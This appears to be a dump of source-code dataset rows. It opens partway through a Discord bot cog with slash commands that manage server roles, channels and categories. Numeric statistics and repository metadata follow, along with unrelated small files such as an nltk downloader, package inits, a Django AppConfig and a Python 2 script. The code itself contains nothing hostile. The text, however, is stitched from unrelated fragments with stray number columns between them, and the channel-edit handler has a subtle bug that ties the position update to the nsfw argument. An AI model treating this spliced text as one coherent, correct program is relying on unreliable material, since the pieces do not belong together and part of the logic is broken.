mentionable=mentionable, colour=color, reason=f"User {ctx.author.name} used the role-edit command!", ) await perm.origin_message.channel.send(content="Done") return else: await perm.edit_origin( content="Do you want the role to have administrator-permissions?", components=[adm_ar], ) try: admin: ComponentContext = await manage_components.wait_for_component( self.bot, components=[adm_ar], timeout=600, check=lambda msg: msg.author.id == ctx.author.id, ) await admin.defer(edit_origin=True) except asyncio.TimeoutError: for i in range(2): adm_ar["components"][i]["disabled"] = True await perm.origin_message.edit(content="Timed out.", components=[adm_ar]) return if admin.component_id == "yes": roleperm = discord.Permissions().none() roleperm.administrator = True for i in range(2): adm_ar["components"][i]["disabled"] = True await admin.edit_origin( content="editing role to admin-permissions", components=[adm_ar] ) await role.edit( name=name, color=color, permissions=roleperm, hoist=hoist, mentionable=mentionable, reason=f"User {ctx.author.name} used the role-edit command!", ) await admin.origin_message.channel.send("Done") return else: try: roleperm = discord.Permissions().none() roleperm, sel2row, secondperms = await self._get_role_permissions( ctx=admin, roleperm=roleperm ) sel2row["components"][0]["disabled"] = True await secondperms.edit_origin( components=[sel2row], content="Edting role to your input....." ) await role.edit( name=name, hoist=hoist, colour=color, mentionable=mentionable, permissions=roleperm, reason=f"User {ctx.author.name} used the role-edit command!", ) await secondperms.origin_message.channel.send(content="Done") except ValueError: # on timeout no values returned, just do nothing then return rdel_opt = [ { "name": "role", "description": "the role to delete", "required": True, "type": 8, } ] @cog_ext.cog_subcommand( base="server", subcommand_group="role", name="delete", description="deletes a role", options=rdel_opt, ) async def _delete_role(self, ctx: SlashContext, role: discord.Role): if not ctx.author.guild_permissions.manage_roles: raise discord.ext.commands.MissingPermissions(missing_perms=["manage_roles"]) await role.delete(reason=f"User {ctx.author.name} used the role-delete command!") await ctx.send("role has been deleted", hidden=True) ch_cre_opt = [ { "name": "channel_type", "description": "Text or Voice Channel", "required": True, "type": 3, "choices": [ { "name": "Text-channel", "value": "TextChannel", }, { "name": "Voice-channel", "value": "VoiceChannel", }, ], }, { "name": "name", "description": "the name of the channel", "type": 3, "required": True, }, { "name": "category", "description": "the category to add the channel to", "type": 7, "required": True, }, { "name": "nsfw", "description": "whether the channel is nsfw. Default False (Text-Channel only)", "type": 5, "required": False, }, ] @cog_ext.cog_subcommand( base="server", subcommand_group="channel", name="create", description="creates a channel", options=ch_cre_opt, ) async def _channel_create( self, ctx: SlashContext, channel_type: str, name: str, category: discord.CategoryChannel, nsfw: bool = False, ): if not ctx.author.guild_permissions.manage_channels: raise discord.ext.commands.MissingPermissions(missing_perms=["manage_channels"]) await ctx.defer(hidden=True) if channel_type == "TextChannel": await ctx.guild.create_text_channel( name=name, category=category, nsfw=nsfw, reason=f"User {ctx.author.name} used the channel-create command!", ) elif channel_type == "VoiceChannel": await ctx.guild.create_voice_channel( name=name, category=category, reason=f"User {ctx.author.name} used the channel-create command!", ) await ctx.send("done", hidden=True) ch_edt_opt = [ { "name": "channel", "description": "The channel to edit", "type": 7, "required": True, }, { "name": "name", "description": "The new name of the channel", "type": 3, "required": False, }, { "name": "slowmode_delay", "description": "set the slowmode for the channel (only for text channels)", "type": 4, "required": False, }, { "name": "max_user_count", "description": "set the max user count for the channel (only for voice channels", "type": 4, "required": False, }, { "name": "nsfw", "description": "whether the channel is nsfw. (Text-Channel only)", "type": 5, "required": False, }, { "name": "position", "description": "the position of the channel", "type": 4, "required": False, }, ] @cog_ext.cog_subcommand( base="server", subcommand_group="channel", name="edit", description="edits a channel", options=ch_edt_opt, ) async def _channel_edit( self, ctx: SlashContext, channel: Union[discord.TextChannel, discord.VoiceChannel], name: str = None, slowmode_delay: int = None, max_user_count: int = None, nsfw: bool = None, position: int = None, ): if not ctx.author.guild_permissions.manage_channels: raise discord.ext.commands.MissingPermissions(missing_perms=["manage_channels"]) await ctx.defer(hidden=True) if isinstance(channel, discord.TextChannel): await channel.edit( name=name if name is not None else channel.name, slowmode_delay=slowmode_delay if slowmode_delay is not None else channel.slowmode_delay, nsfw=nsfw if nsfw is not None else channel.nsfw, position=position if nsfw is not None else channel.position, reason=f"User {ctx.author.name} used the channel-edit command!", ) elif isinstance(channel, discord.VoiceChannel): await channel.edit( name=name if name is not None else channel.name, user_limit=max_user_count if max_user_count is not None else channel.user_limit, position=position if nsfw is not None else channel.position, reason=f"User {ctx.author.name} used the channel-edit command!", ) await ctx.send("done", hidden=True) ch_perm_edt_opt = [ { "name": "channel", "description": "the channel update permissions on", "type": 7, "required": True, }, { "name": "role_or_user", "description": "the role or user to give special permissions over a channel", "type": 9, "required": True, }, ] @cog_ext.cog_subcommand( base="server", subcommand_group="channel", name="permission_edit", options=ch_perm_edt_opt, description="edits the permissions a user or a role has in a specific channel", ) async def _channel_permission_edit( self, ctx: SlashContext, channel: Union[discord.TextChannel, discord.VoiceChannel], role_or_user: Union[discord.Role, discord.Member], ): if ( not ctx.author.guild_permissions.manage_channels and not ctx.author.guild_permissions.manage_permissions ): raise discord.ext.commands.MissingPermissions( missing_perms=["manage_channels", "manage_permissions"] ) else: await ctx.defer(hidden=False) if isinstance(channel, discord.TextChannel): utils.LOGGER.debug(f"Test: {isinstance(role_or_user, str)} \n value: {role_or_user}") perm_sel = manage_components.create_select( min_values=1, max_values=14, placeholder=f"choose the permissions to give the {'user' if isinstance(role_or_user, discord.Member) else 'role'}", options=[ manage_components.create_select_option( label="view the channel", value="view_channel", ), manage_components.create_select_option( label="manage the channel", value="manage_channels", ), manage_components.create_select_option( label="manage channel permissions", value="manage_permissions", ), manage_components.create_select_option( label="manage webhooks", value="manage_webhooks", ), manage_components.create_select_option( label="create instant invite", value="create_instant_invite", ), manage_components.create_select_option( label="send messages in the channel", value="send_messages", ), manage_components.create_select_option( label="embed links in messages", value="embed_links", ), manage_components.create_select_option( label="attach files to messages", value="attach_files", ), manage_components.create_select_option( label="add reactions to messages", value="add_reactions", ), manage_components.create_select_option( label="use external emojis in messages", value="use_external_emojis", ), manage_components.create_select_option( label="mention @everyone", value="mention_everyone", ), manage_components.create_select_option( label="manage messages", value="manage_messages", ), manage_components.create_select_option( label="read message history", value="read_message_history", ), manage_components.create_select_option( label="send tts messages", value="send_tts_messages", ), ], ) sel_ar = manage_components.create_actionrow(perm_sel) msg = await ctx.send( content=f"What Permissions do you want to give the {'user' if isinstance(role_or_user, discord.Member) else 'role'}\n" f"all not selected permissions will be **denied**", components=[sel_ar], ) try: perms: ComponentContext = await manage_components.wait_for_component( self.bot, components=[sel_ar], timeout=600, check=lambda p: p.author.id == ctx.author.id, ) await perms.defer(edit_origin=True) except asyncio.TimeoutError: sel_ar["components"][0]["disabled"] = True await msg.edit(content="Timed out.", components=[sel_ar]) return perm = discord.PermissionOverwrite( view_channel=True if "view_channel" in perms.selected_options else False, manage_channels=True if "manage_channels" in perms.selected_options else False, manage_permissions=True if "manage_permissions" in perms.selected_options else False, manage_webhooks=True if "manage_webhooks" in perms.selected_options else False, create_instant_invite=True if "create_instant_invite" in perms.selected_options else False, send_messages=True if "send_messages" in perms.selected_options else False, embed_links=True if "embed_links" in perms.selected_options else False, attach_files=True if "attach_files" in perms.selected_options else False, add_reactions=True if "add_reactions" in perms.selected_options else False, use_external_emojis=True if "use_external_emojis" in perms.selected_options else False, mention_everyone=True if "mention_everyone" in perms.selected_options else False, manage_messages=True if "manage_messages" in perms.selected_options else False, read_message_history=True if "read_message_history" in perms.selected_options else False, send_tts_messages=True if "send_tts_messages" in perms.selected_options else False, ) sel_ar["components"][0]["disabled"] = True try: await perms.edit_origin( content="Editing channel permissions....", components=[sel_ar] ) utils.LOGGER.debug(f"type: {type(role_or_user)}") perm_overwrite = {role_or_user: perm} await channel.edit( overwrites=perm_overwrite, reason=f"User {ctx.author.name} used the channel-permission-edit command!", ) await perms.channel.send( f"Done, channel '{channel.name} has been edited!", delete_after=180 ) except AttributeError: error = traceback.format_exc() utils.LOGGER.error(error) elif isinstance(channel, discord.VoiceChannel): perm_sel = manage_components.create_select( min_values=1, max_values=12, placeholder=f"choose the permissions to give the {'user' if isinstance(role_or_user, discord.Member) else 'role'}", options=[ manage_components.create_select_option( label="view the channel", value="view_channel", ), manage_components.create_select_option( label="manage the channel", value="manage_channels", ), manage_components.create_select_option( label="manage channel permissions", value="manage_permissions", ), manage_components.create_select_option( label="create instant invite", value="create_instant_invite", ), manage_components.create_select_option( label="connect to the channel", value="connect", ), manage_components.create_select_option( label="speak in the channel", value="speak", ), manage_components.create_select_option( label="stream/camera", value="stream", ), manage_components.create_select_option( label="use voice activation", value="use_voice_activation", ), manage_components.create_select_option( label="very important speaker", value="priority_speaker", ), manage_components.create_select_option( label="mute members", value="mute_members", ), manage_components.create_select_option( label="deafen members", value="deafen_members", ), manage_components.create_select_option( label="move members in another channel", value="move_members", ), ], ) sel_ar = manage_components.create_actionrow(perm_sel) msg = await ctx.send( content=f"What Permissions do you want to give the {'user' if isinstance(role_or_user, discord.Member) else 'role'}" f"all not selected permissions will be **denied**", components=[sel_ar], ) try: perms: ComponentContext = await manage_components.wait_for_component( self.bot, components=[sel_ar], timeout=600, check=lambda comp: comp.author.id == ctx.author.id, ) await perms.defer(edit_origin=True) except asyncio.TimeoutError: sel_ar["components"][0]["disabled"] = True await msg.edit(content="Timed out.", components=[sel_ar]) return perm = discord.PermissionOverwrite( view_channel=True if "view_channel" in perms.selected_options else False, manage_channels=True if "manage_channels" in perms.selected_options else False, manage_permissions=True if "manage_permissions" in perms.selected_options else False, create_instant_invite=True if "create_instant_invite" in perms.selected_options else False, connect=True if "connect" in perms.selected_options else False, speak=True if "speak" in perms.selected_options else False, stream=True if "stream" in perms.selected_options else False, use_voice_activation=True if "use_voice_activation" in perms.selected_options else False, priority_speaker=True if "priority_speaker" in perms.selected_options else False, mute_members=True if "mute_members" in perms.selected_options else False, deafen_members=True if "deafen_members" in perms.selected_options else False, move_members=True if "move_members" in perms.selected_options else False, ) sel_ar["components"][0]["disabled"] = True await perms.edit_origin(content="Editing channel permissions....", components=[sel_ar]) perm_overwrite = { role_or_user: perm, } await channel.edit( overwrites=perm_overwrite, reason=f"User {ctx.author.name} used the channel-permission-edit command!", ) ch_del_opt = [ { "name": "channel", "description": "The channel to edit", "type": 7, "required": True, }, ] @cog_ext.cog_subcommand( base="server", subcommand_group="channel", name="delete", description="deletes a channel", options=ch_del_opt, ) async def _channel_delete( self, ctx: SlashContext, channel: Union[discord.TextChannel, discord.VoiceChannel] ): if not ctx.author.guild_permissions.manage_channels: raise discord.ext.commands.MissingPermissions(missing_perms=["manage_channels"]) await channel.delete(reason=f"User {ctx.author.name} used the channel-delete command!") await ctx.send("done", hidden=True) cat_cre_opt = [ { "name": "name", "description": "the name of the category", "type": 3, "required": True, }, { "name": "position", "description": "the position of the category", "type": 4, "required": False, }, ] @cog_ext.cog_subcommand( base="server", subcommand_group="category", name="create", description="creates a category", options=cat_cre_opt, ) async def _category_create(self, ctx: SlashContext, name: str, position: int = None): if not ctx.author.guild_permissions.manage_channels: raise discord.ext.commands.MissingPermissions(missing_perms=["manage_channels"]) else: await ctx.guild.create_category( name=name, position=position + 1 if position is not None else None, reason=f"User {ctx.author.name} used the category-create command!", ) await ctx.send("done!", hidden=True) cat_edt_opt = [ { "name": "category", "description": "The category to delete", "type": 7, "required": True, }, { "name": "name", "description": "the new name of the category", "type": 3, "required": False, }, { "name": "position", "description": "the new position of the category", "type": 4, "required": False, }, { "name": "role_or_user", "description": "if you specify this, you will be able to edit the permissions for a role or a user in that category", "type": 9, "required": False, }, ] @cog_ext.cog_subcommand( base="server", subcommand_group="category", name="edit", description="edits a category", options=cat_edt_opt, ) async def _category_edit( self, ctx: SlashContext, category: discord.CategoryChannel, name: str = None, position: int = None, role_or_user: Union[discord.Member, discord.Role] = None, ): if not ctx.author.guild_permissions.manage_channels: raise discord.ext.commands.MissingPermissions(missing_perms=["manage_channels"]) else: await ctx.defer(hidden=True) if not role_or_user: await category.edit( reason=f"User {ctx.author.name} used the category-edit command!", position=position + 1 if position is not None else category.position, name=name if name is not None else category.name, ) await ctx.send("done", hidden=True) else: text_perm_sel = manage_components.create_select( min_values=1, max_values=14, placeholder=f"set the category text channel perms for the {'user' if isinstance(role_or_user, discord.Member) else 'role'}", options=[ manage_components.create_select_option( label="view the channel", value="view_channel", ), manage_components.create_select_option( label="manage the channel", value="manage_channels", ), manage_components.create_select_option( label="manage channel permissions", value="manage_permissions", ), manage_components.create_select_option( label="manage webhooks", value="manage_webhooks", ), manage_components.create_select_option( label="create instant invite", value="create_instant_invite", ), manage_components.create_select_option( label="send messages in the channel", value="send_messages", ), manage_components.create_select_option( label="embed links in messages", value="embed_links", ), manage_components.create_select_option( label="attach files to messages", value="attach_files", ), manage_components.create_select_option( label="add reactions to messages", value="add_reactions", ), manage_components.create_select_option( label="use external emojis in messages", value="use_external_emojis", ), manage_components.create_select_option( label="mention @everyone", value="mention_everyone", ), manage_components.create_select_option( label="manage messages", value="manage_messages", ), manage_components.create_select_option( label="read message history", value="read_message_history", ), manage_components.create_select_option( label="send tts messages", value="send_tts_messages", ), ], ) text_sel_ar = manage_components.create_actionrow(text_perm_sel) msg = await ctx.send( content=f"What Permissions do you want to give the {'user' if isinstance(role_or_user, discord.Member) else 'role'} in the category?" f"all not selected permissions will be **denied**", components=[text_sel_ar], ) try: text_perms: ComponentContext = await manage_components.wait_for_component( self.bot, components=[text_sel_ar], timeout=600, check=lambda comp: comp.author.id == ctx.author.id, ) await text_perms.defer(edit_origin=True) except asyncio.TimeoutError: text_sel_ar["components"][0]["disabled"] = True await msg.edit(content="Timed out.", components=[text_sel_ar]) return voice_perm_sel = manage_components.create_select( min_values=1, max_values=8, placeholder=f"set the category voice channel perms for the {'user' if isinstance(role_or_user, discord.Member) else 'role'}", options=[ manage_components.create_select_option( label="connect to the channel", value="connect", ), manage_components.create_select_option( label="speak in the channel", value="speak", ), manage_components.create_select_option( label="stream/camera", value="stream", ), manage_components.create_select_option( label="use voice activation", value="use_voice_activation", ), manage_components.create_select_option( label="very important speaker", value="priority_speaker", ), manage_components.create_select_option( label="mute members", value="mute_members", ), manage_components.create_select_option( label="deafen members", value="deafen_members", ), manage_components.create_select_option( label="move members in another channel", value="move_members", ), ], ) voice_sel_ar = manage_components.create_actionrow(voice_perm_sel) await text_perms.edit_origin( content=f"What Permissions do you want to give the {'user' if isinstance(role_or_user, discord.Member) else 'role'} in the category?" f"all not selected permissions will be **denied**", components=[voice_sel_ar], ) try: voice_perms: ComponentContext = await manage_components.wait_for_component( self.bot, components=[voice_sel_ar], timeout=600, check=lambda comp: comp.author.id == ctx.author.id, ) await voice_perms.defer(edit_origin=True) except asyncio.TimeoutError: voice_sel_ar["components"][0]["disabled"] = True await text_perms.origin_message.edit( content="Timed out.", components=[voice_sel_ar] ) return allperms = discord.PermissionOverwrite( view_channel=True if "view_channel" in text_perms.selected_options else False, manage_channels=True if "manage_channels" in text_perms.selected_options else False, manage_permissions=True if "manage_permissions" in text_perms.selected_options else False, manage_webhooks=True if "manage_webhooks" in text_perms.selected_options else False, create_instant_invite=True if "create_instant_invite" in text_perms.selected_options else False, send_messages=True if "send_messages" in text_perms.selected_options else False, embed_links=True if "embed_links" in text_perms.selected_options else False, attach_files=True if "attach_files" in text_perms.selected_options else False, add_reactions=True if "add_reactions" in text_perms.selected_options else False, use_external_emojis=True if "use_external_emojis" in text_perms.selected_options else False, mention_everyone=True if "mention_everyone" in text_perms.selected_options else False, manage_messages=True if "manage_messages" in text_perms.selected_options else False, read_message_history=True if "read_message_history" in text_perms.selected_options else False, send_tts_messages=True if "send_tts_messages" in text_perms.selected_options else False, connect=True if "connect" in voice_perms.selected_options else False, speak=True if "speak" in voice_perms.selected_options else False, stream=True if "stream" in voice_perms.selected_options else False, use_voice_activation=True if "use_voice_activation" in voice_perms.selected_options else False, priority_speaker=True if "priority_speaker" in voice_perms.selected_options else False, mute_members=True if "mute_members" in voice_perms.selected_options else False, deafen_members=True if "deafen_members" in voice_perms.selected_options else False, move_members=True if "move_members" in voice_perms.selected_options else False, ) voice_sel_ar["components"][0]["disabled"] = True all_ovwerite = {role_or_user: allperms} await category.edit( reason=f"User {ctx.author.name} used the category-edit command!", position=position + 1 if position is not None else category.position, name=name if name is not None else category.name, overwrites=all_ovwerite, ) await voice_perms.edit_origin(content="Done!", components=[voice_sel_ar]) cat_del_opt = [ { "name": "category", "description": "The category to delete", "type": 7, "required": True, }, ] @cog_ext.cog_subcommand( base="server", subcommand_group="category", name="delete", description="deletes a category", options=cat_del_opt, ) async def _cat_delete(self, ctx: SlashContext, category: discord.CategoryChannel): if not ctx.author.guild_permissions.manage_channels: raise discord.ext.commands.MissingPermissions(missing_perms=["manage_channels"]) else: await category.delete( reason=f"User {ctx.author.name} used the category-delete command!" ) await ctx.send("done!", hidden=True) def setup(bot: AutoShardedBot): bot.add_cog(ServerUtils(bot))
42.314995
175
0.514134
8,124
86,915
5.298252
0.051206
0.079548
0.099157
0.057896
0.85396
0.786655
0.762052
0.712009
0.651697
0.611412
0
0.010565
0.398849
86,915
2,053
176
42.335606
0.81324
0.00764
0
0.634814
0
0.005682
0.154259
0.006495
0
0
0
0.000487
0
1
0.001033
false
0.000517
0.005682
0
0.026343
0
0
0
0
null
0
0
0
1
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
08d0fd86875d113175b78bb6d9188630439473a8
73
py
Python
delab/sentiment/download_nltk.py
juliandehne/delab
763dbab38527e3fcc1caa5e19c74678f591fcc64
[ "MIT" ]
null
null
null
delab/sentiment/download_nltk.py
juliandehne/delab
763dbab38527e3fcc1caa5e19c74678f591fcc64
[ "MIT" ]
12
2021-11-01T07:03:15.000Z
2022-03-31T13:03:38.000Z
delab/sentiment/download_nltk.py
juliandehne/whowhatwhy
fa4c89158e65d90b1cea62838f3d12f7c14e59fb
[ "MIT" ]
null
null
null
import nltk nltk.download('twitter_samples') nltk.download('stopwords')
14.6
32
0.794521
9
73
6.333333
0.666667
0.421053
0
0
0
0
0
0
0
0
0
0
0.068493
73
4
33
18.25
0.838235
0
0
0
0
0
0.328767
0
0
0
0
0
0
1
0
true
0
0.333333
0
0.333333
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
08d4779c5244d4ba503a2d673282843fdf4a26f5
153
py
Python
Python/loops/pg6.py
Resolution-1/Python-tryout
44cdd124e1b8865d907f57e0ca75bf620f7167b8
[ "MIT" ]
21
2020-10-01T16:19:16.000Z
2021-11-08T13:01:47.000Z
Python/loops/pg6.py
Resolution-1/Python-tryout
44cdd124e1b8865d907f57e0ca75bf620f7167b8
[ "MIT" ]
13
2020-10-01T13:10:25.000Z
2021-10-01T06:27:44.000Z
Python/loops/pg6.py
Resolution-1/Python-tryout
44cdd124e1b8865d907f57e0ca75bf620f7167b8
[ "MIT" ]
77
2020-10-01T11:28:37.000Z
2021-10-16T09:27:37.000Z
'''Print multiplication table of given number''' n=int(input("Enter the no:")) print("Multiplication table is:") for i in range(1,11): print(i*n)
30.6
49
0.673203
25
153
4.12
0.76
0.368932
0.466019
0
0
0
0
0
0
0
0
0.023256
0.156863
153
5
50
30.6
0.775194
0.27451
0
0
0
0
0.362745
0
0
0
0
0
0
1
0
false
0
0
0
0
0.5
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
5
08d486553394820dd6ac88999e38c2b6e97bfd6a
70
py
Python
feishuconnector/__init__.py
aslan9/feishuconnector
9cbfa9fa8f39106f788e24a3ceb548acbdc97fd4
[ "MIT" ]
1
2022-02-16T02:22:42.000Z
2022-02-16T02:22:42.000Z
feishuconnector/__init__.py
aslan9/feishuconnector
9cbfa9fa8f39106f788e24a3ceb548acbdc97fd4
[ "MIT" ]
null
null
null
feishuconnector/__init__.py
aslan9/feishuconnector
9cbfa9fa8f39106f788e24a3ceb548acbdc97fd4
[ "MIT" ]
1
2022-03-18T06:36:29.000Z
2022-03-18T06:36:29.000Z
from ._version import __version__ from .manager import FeishuConnector
35
36
0.871429
8
70
7
0.625
0
0
0
0
0
0
0
0
0
0
0
0.1
70
2
36
35
0.888889
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
08d4ecd8fc03c71f540fbb1754dcc70375edba44
197
py
Python
script/csnt2lab.py
loretoparisi/audionamix.js
d429435dce634924ddeef2a4b24863eb013a15d0
[ "MIT" ]
3
2016-10-11T08:49:46.000Z
2019-07-24T13:14:51.000Z
script/csnt2lab.py
loretoparisi/audionamix.js
d429435dce634924ddeef2a4b24863eb013a15d0
[ "MIT" ]
null
null
null
script/csnt2lab.py
loretoparisi/audionamix.js
d429435dce634924ddeef2a4b24863eb013a15d0
[ "MIT" ]
null
null
null
import json import sys consonants_activity = json.loads(json.load(sys.stdin)['consonants_activity']) it = iter(consonants_activity) for x in it: print '{}\t{}\tconsonant'.format(x, next(it))
21.888889
77
0.730964
29
197
4.862069
0.62069
0.382979
0
0
0
0
0
0
0
0
0
0
0.116751
197
8
78
24.625
0.810345
0
0
0
0
0
0.182741
0
0
0
0
0
0
0
null
null
0
0.333333
null
null
0.166667
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
5
08ef4cc4d6808afd2dddc2a6568c892a3c555619
217
py
Python
erpnext_etsy/erpnext_etsy/doctype/etsy_profile/test_etsy_profile.py
spacehaven/erpnext_etsy
08113723b1b072c0e246706b635a49786973f8c1
[ "MIT" ]
3
2020-12-19T15:51:11.000Z
2021-05-13T11:29:09.000Z
erpnext_etsy/erpnext_etsy/doctype/etsy_profile/test_etsy_profile.py
spacehaven/erpnext_etsy
08113723b1b072c0e246706b635a49786973f8c1
[ "MIT" ]
null
null
null
erpnext_etsy/erpnext_etsy/doctype/etsy_profile/test_etsy_profile.py
spacehaven/erpnext_etsy
08113723b1b072c0e246706b635a49786973f8c1
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Copyright (c) 2017, Jonathan Martin and Contributors # See license.txt from __future__ import unicode_literals import frappe import unittest class TestEtsyProfile(unittest.TestCase): pass
19.727273
54
0.774194
27
217
6.037037
0.888889
0
0
0
0
0
0
0
0
0
0
0.026738
0.138249
217
10
55
21.7
0.84492
0.414747
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0.2
0.6
0
0.8
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
1
0
1
0
0
5
3ead262a083e9a7537b5c4e1d033c53cf2420080
130
py
Python
Admission Counselling For Direct Second Year/Web-Application/AdmissionDirectSecondYear/TopMaharashtraCollegeList/apps.py
atharvaagrawal/direct-second-year-admission-analysis
4744753c5b69d5e06211f006d56150997793c5bf
[ "MIT" ]
null
null
null
Admission Counselling For Direct Second Year/Web-Application/AdmissionDirectSecondYear/TopMaharashtraCollegeList/apps.py
atharvaagrawal/direct-second-year-admission-analysis
4744753c5b69d5e06211f006d56150997793c5bf
[ "MIT" ]
1
2020-03-25T11:06:18.000Z
2020-03-25T11:06:18.000Z
Admission Counselling For Direct Second Year/Web-Application/AdmissionDirectSecondYear/TopMaharashtraCollegeList/apps.py
atharvaagrawal/direct-second-year-admission-analysis
4744753c5b69d5e06211f006d56150997793c5bf
[ "MIT" ]
null
null
null
from django.apps import AppConfig class TopmaharashtracollegelistConfig(AppConfig): name = 'TopMaharashtraCollegeList'
21.666667
50
0.792308
10
130
10.3
0.9
0
0
0
0
0
0
0
0
0
0
0
0.153846
130
5
51
26
0.936364
0
0
0
0
0
0.2
0.2
0
0
0
0
0
1
0
false
0
0.333333
0
1
0
1
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
5
410d2bf55cf73801ec9cabff1101fa975448b3ff
96
py
Python
corehq/ex-submodules/fluff/exceptions.py
dimagilg/commcare-hq
ea1786238eae556bb7f1cbd8d2460171af1b619c
[ "BSD-3-Clause" ]
471
2015-01-10T02:55:01.000Z
2022-03-29T18:07:18.000Z
corehq/ex-submodules/fluff/exceptions.py
dimagilg/commcare-hq
ea1786238eae556bb7f1cbd8d2460171af1b619c
[ "BSD-3-Clause" ]
14,354
2015-01-01T07:38:23.000Z
2022-03-31T20:55:14.000Z
corehq/ex-submodules/fluff/exceptions.py
dimagilg/commcare-hq
ea1786238eae556bb7f1cbd8d2460171af1b619c
[ "BSD-3-Clause" ]
175
2015-01-06T07:16:47.000Z
2022-03-29T13:27:01.000Z
class EmitterTypeError(Exception): pass class EmitterValidationError(Exception): pass
13.714286
40
0.770833
8
96
9.25
0.625
0.351351
0
0
0
0
0
0
0
0
0
0
0.166667
96
6
41
16
0.925
0
0
0.5
0
0
0
0
0
0
0
0
0
1
0
true
0.5
0
0
0.5
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
0
0
0
0
0
5
4114d6b94e1324c494f1a6511499222b3cfa758a
279
py
Python
teapot/exceptions.py
admiralobvious/teapot
870b334f88f922d08b51629c8ccb6f459f546a8f
[ "MIT" ]
null
null
null
teapot/exceptions.py
admiralobvious/teapot
870b334f88f922d08b51629c8ccb6f459f546a8f
[ "MIT" ]
null
null
null
teapot/exceptions.py
admiralobvious/teapot
870b334f88f922d08b51629c8ccb6f459f546a8f
[ "MIT" ]
null
null
null
from urllib3.exceptions import HTTPError class HTTPResponseError(HTTPError): def __init__(self, response): self.response = response def __str__(self): return "{} {} for url {}".format(self.response.status, self.response.reason, self.response.geturl())
27.9
108
0.702509
31
279
6.064516
0.612903
0.319149
0
0
0
0
0
0
0
0
0
0.004348
0.175627
279
9
109
31
0.813043
0
0
0
0
0
0.057348
0
0
0
0
0
0
1
0.333333
false
0
0.166667
0.166667
0.833333
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
5
41229635b8cacb24e77de6b93f692b46d39e3f56
134
py
Python
Strategy/after_strategy/UpsStrategy.py
deorerohan/DesignPatterns
2bd698246e12ed289917bb4e3b84eaa2210534fd
[ "MIT" ]
null
null
null
Strategy/after_strategy/UpsStrategy.py
deorerohan/DesignPatterns
2bd698246e12ed289917bb4e3b84eaa2210534fd
[ "MIT" ]
null
null
null
Strategy/after_strategy/UpsStrategy.py
deorerohan/DesignPatterns
2bd698246e12ed289917bb4e3b84eaa2210534fd
[ "MIT" ]
null
null
null
from after_strategy import AbsStrategy class UpsStrategy(AbsStrategy.AbsStrategy): def calculate(self, order): return 5.5
26.8
43
0.761194
16
134
6.3125
0.8125
0
0
0
0
0
0
0
0
0
0
0.018018
0.171642
134
5
44
26.8
0.891892
0
0
0
0
0
0
0
0
0
0
0
0
1
0.25
false
0
0.25
0.25
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
5
f5db9d4fc67abd7cf145153cee163e6545ee68f6
115
py
Python
EX006/app.py
DEVRobertorecife/html-css
f252552db238987d24e1a2559533c3502f7d194f
[ "MIT" ]
null
null
null
EX006/app.py
DEVRobertorecife/html-css
f252552db238987d24e1a2559533c3502f7d194f
[ "MIT" ]
null
null
null
EX006/app.py
DEVRobertorecife/html-css
f252552db238987d24e1a2559533c3502f7d194f
[ "MIT" ]
null
null
null
n = int(input('digite um numero: ')) n2 = int(input('digite um numero: ')) def soma (): s = n + n2 print(soma)
19.166667
37
0.582609
19
115
3.526316
0.578947
0.238806
0.41791
0.477612
0.656716
0
0
0
0
0
0
0.022222
0.217391
115
5
38
23
0.722222
0
0
0
0
0
0.313043
0
0
0
0
0
0
1
0.2
false
0
0
0
0.2
0.2
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
eb1836ebd858e75b9b69da91d0a3e67ca49e88c0
4,826
py
Python
tests/_display/test_line_joints_interface.py
ynsnf/apysc
b10ffaf76ec6beb187477d0a744fca00e3efc3fb
[ "MIT" ]
16
2021-04-16T02:01:29.000Z
2022-01-01T08:53:49.000Z
tests/_display/test_line_joints_interface.py
ynsnf/apysc
b10ffaf76ec6beb187477d0a744fca00e3efc3fb
[ "MIT" ]
613
2021-03-24T03:37:38.000Z
2022-03-26T10:58:37.000Z
tests/_display/test_line_joints_interface.py
simon-ritchie/apyscript
c319f8ab2f1f5f7fad8d2a8b4fc06e7195476279
[ "MIT" ]
2
2021-06-20T07:32:58.000Z
2021-12-26T08:22:11.000Z
